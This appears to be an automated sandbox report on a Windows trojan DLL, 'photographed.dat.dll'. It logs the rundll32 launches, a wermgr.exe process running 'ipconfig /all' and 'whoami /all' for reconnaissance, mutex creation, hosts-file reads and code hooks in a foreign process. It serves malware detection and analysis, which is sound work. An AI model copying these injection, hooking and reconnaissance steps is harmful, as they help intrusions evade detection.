Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",m?0?$_SpinWait@$00@details@Concurrency@@QAE@P6AXXZ@Z
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",m?0?$_SpinWait@$0A@@details@Concurrency@@QAE@P6AXXZ@Z
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",m?0SchedulerPolicy@Concurrency@@QAA@IZZ
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",next
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",mwait_for_multiple@event@Concurrency@@SAIPAPAV12@I_NI@Z
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",mwait_for_all@agent@Concurrency@@SAXIPAPAV12@PAW4agent_status@2@I@Z
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7332 -s 652
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7340 -s 652
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7348 -s 648
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7416 -s 648
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe
Source: C:\Windows\SysWOW64\wermgr.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
Source: C:\Windows\SysWOW64\ipconfig.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\wermgr.exe	Process created: C:\Windows\SysWOW64\whoami.exe whoami /all
Source: C:\Windows\SysWOW64\whoami.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\photographed.dat.dll,m?0?$_SpinWait@$00@details@Concurrency@@QAE@P6AXXZ@Z	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\photographed.dat.dll,m?0?$_SpinWait@$0A@@details@Concurrency@@QAE@P6AXXZ@Z	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\photographed.dat.dll,m?0SchedulerPolicy@Concurrency@@QAA@IZZ	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",m?0?$_SpinWait@$00@details@Concurrency@@QAE@P6AXXZ@Z	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",m?0?$_SpinWait@$0A@@details@Concurrency@@QAE@P6AXXZ@Z	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",m?0SchedulerPolicy@Concurrency@@QAA@IZZ	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",next	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",mwait_for_multiple@event@Concurrency@@SAIPAPAV12@I_NI@Z	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",mwait_for_all@agent@Concurrency@@SAXIPAPAV12@PAW4agent_status@2@I@Z	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
Source: C:\Windows\SysWOW64\wermgr.exe	Process created: C:\Windows\SysWOW64\whoami.exe whoami /all

Source: C:\Windows\SysWOW64\wermgr.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\SysWOW64\wermgr.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Hzieoyw

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WERB3A.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winDLL@41/40@2/100

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 19_2_00EFD213 CoInitializeEx,CoInitializeSecurity,CoCreateInstance,SysAllocString,CoSetProxyBlanket,

19_2_00EFD213

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 19_2_00EFC71C CreateToolhelp32Snapshot,Process32First,FindCloseChangeNotification,

19_2_00EFC71C

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\photographed.dat.dll,m?0?$_SpinWait@$00@details@Concurrency@@QAE@P6AXXZ@Z

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7340
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5728:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7332
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7716:120:WilError_01
Source: C:\Windows\SysWOW64\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\{016655F6-264F-4E93-A1D9-EE4A14235942}
Source: C:\Windows\SysWOW64\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\{0A87EE2C-EEEA-4776-9B9D-42DC07D139F4}
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3108
Source: C:\Windows\SysWOW64\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\{016655F6-264F-4E93-A1D9-EE4A14235942}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1708:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5684
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7216
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7348
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7136
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7416

Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\wermgr.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\wermgr.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\wermgr.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\wermgr.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: photographed.dat.dll

Static PE information: More than 290 > 100 exports found

Source: photographed.dat.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: photographed.dat.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: photographed.dat.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: photographed.dat.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: photographed.dat.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: photographed.dat.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: photographed.dat.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF

Source: photographed.dat.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1002C376 push esp; ret	3_2_1002C3A1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10028D61 push ecx; ret	3_2_10028D74
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10028EF6 push ecx; ret	3_2_10028F09
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1002CF5F push esp; iretd	3_2_1002CF6D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0329D398 push ebp; iretd	4_2_0329D399
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0329C8F6 push es; retf	4_2_0329C941
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0329C7D8 push ebp; iretd	4_2_0329C7D9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0329C6DC pushfd ; ret	4_2_0329C6DD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00C3C0D8 push eax; ret	10_2_00C3C0D9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00C3C9D6 push eax; retf	10_2_00C3C9D9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00C3F1F5 push F26800E7h; ret	10_2_00C3F1FA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00C3BFAC push eax; ret	10_2_00C3BFC1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00C3BF4C push eax; ret	10_2_00C3BF51
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00C3E571 push E63000FEh; ret	10_2_00C3E576
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 17_2_001ECAD0 push eax; retf	17_2_001ECAD1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 17_2_001EC378 pushfd ; ret	17_2_001EC379
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 17_2_001ECA34 push esp; retf	17_2_001ECA35
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 17_2_001EBFEC pushfd ; retn 001Eh	17_2_001EBFED
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_0079C2A0 push esp; ret	18_2_0079C2A1

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_10026F63 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

3_2_10026F63

Source: photographed.dat.dll

Static PE information: real checksum: 0x5e44f should be: 0x609ae

Persistence and Installation Behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\SysWOW64\wermgr.exe

Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all

Boot Survival

Uses whoami command line tool to query computer and username

Source: C:\Windows\SysWOW64\wermgr.exe	Process created: C:\Windows\SysWOW64\whoami.exe whoami /all
Source: C:\Windows\SysWOW64\wermgr.exe	Process created: C:\Windows\SysWOW64\whoami.exe whoami /all

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Windows\SysWOW64\rundll32.exe

Memory written: PID: 7772 base: 13A3C50 value: E9 63 D7 05 FF

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
